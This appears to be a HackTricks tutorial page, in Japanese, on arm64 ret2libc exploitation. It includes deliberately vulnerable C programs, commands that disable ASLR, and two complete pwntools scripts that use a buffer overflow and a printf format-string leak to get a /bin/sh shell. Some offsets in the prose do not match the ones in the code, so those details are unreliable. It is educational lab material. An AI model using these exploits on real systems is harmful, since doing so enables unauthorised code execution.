Ret2lib + Printf leak - arm64

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Ret2lib - NXバイパスとROPを使用した(ASLRなし)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

コンパイル時にキャナリアを無効にする:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

オフセットを見つける

x30 オフセット

pattern create 200 を使用してパターンを作成し、それを使用して pattern search $x30 でオフセットを確認すると、オフセットは 108 (0x6c) であることがわかります。

メイン関数のディスアセンブルを見ると、バイナリがロードされた場所から printf に直接ジャンプする命令に ジャンプ したいということがわかります。0x860 です。

system と /bin/sh 文字列を見つける

ASLR が無効になっているため、アドレスは常に同じになります。

ガジェットを見つける

x0 に文字列 /bin/sh のアドレスを入れ、system を呼び出す必要があります。

Rooper を使用して興味深いガジェットが見つかりました:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

このガジェットは、$sp + 0x18 から x0 をロードし、次に x29 と x30 のアドレスを sp からロードして x30 にジャンプします。したがって、このガジェットを使用して最初の引数を制御し、その後 system にジャンプすることができます。

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX、ASLRおよびPIEバイパスとprintfリークからのスタック

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

キャナリアなしでコンパイル:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIEとASLRが有効だが、キャナリは無効

  • ラウンド1:

  • スタックからPIEのリーク

  • バッファオーバーフローを悪用してmainに戻る

  • ラウンド2:

  • スタックからlibcのリーク

  • ROP: ret2system

Printfリーク

printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るアドレスとlibcのアドレスがあることがわかります:

異なるオフセットを試すと、%21$p はバイナリアドレスをリークでき(PIEバイパス)、%25$p はlibcアドレスをリークできます:

リークしたlibcアドレスからlibcのベースアドレスを引くと、リークしたアドレスのベースからのオフセットは 0x49c40 であることがわかります。

x30オフセット

前の例と同じく、bofが同じであることを確認します。

ガジェットの検索

前の例と同様に、x0 に文字列 /bin/sh のアドレスを持ち、system を呼び出す必要があります。

rooperを使用して、別の興味深いガジェットが見つかりました:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

このガジェットは、$sp + 0x78 から x0 をロードし、次に sp からアドレス x29 と x30 をロードして x30 にジャンプします。したがって、このガジェットを使用して最初の引数を制御し、その後 system にジャンプすることができます。

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated